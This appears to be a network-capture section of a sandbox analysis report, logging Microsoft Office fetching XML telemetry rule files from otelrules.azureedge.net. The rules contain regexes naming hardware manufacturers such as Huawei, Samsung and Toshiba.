2024-11-07 16:25:16 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:16 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:16 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8b5c7529-c01e-00ad-2446-2ea2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162516Z-15869dbbcc6tjwwhhC1DFWn22800000001r0000000007twm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:17 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:16 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 231ce337-901e-0083-5701-2dbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162516Z-16547b76f7fxdzxghC1DFWmf7n00000008eg00000000gzzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:16 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 47d81796-701e-0021-2403-2d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162516Z-16547b76f7fknvdnhC1DFWxnys00000008eg0000000095fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:17 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:18 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4785079e-601e-0070-2a8e-2da0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162518Z-15869dbbcc6pfq2ghC1DFWmp1400000001m000000000eubt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:18 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162518Z-16547b76f7fmbrhqhC1DFWkds800000008fg000000006bxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:18 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c6b44c52-001e-0028-1ef0-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162518Z-16547b76f7fx6rhxhC1DFW76kg000000087g00000000u692 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:18 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:18 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162518Z-16547b76f7f76p6chC1DFWctqw00000008eg00000000h6ev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:18 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:18 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:18 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162518Z-16547b76f7fvllnfhC1DFWxkg800000008e000000000ayx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:18 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:19 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:19 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162519Z-16547b76f7fknvdnhC1DFWxnys00000008c000000000km9e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:19 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:19 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:19 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 38f7eb3e-301e-006e-6008-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162519Z-16547b76f7ftdm8dhC1DFWs13g000000087000000000uv76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:20 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:20 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 9e5bc133-001e-0065-6500-2f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162520Z-17df447cdb5g2j9ghC1DFWev0800000004gg0000000053kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:20 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:20 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
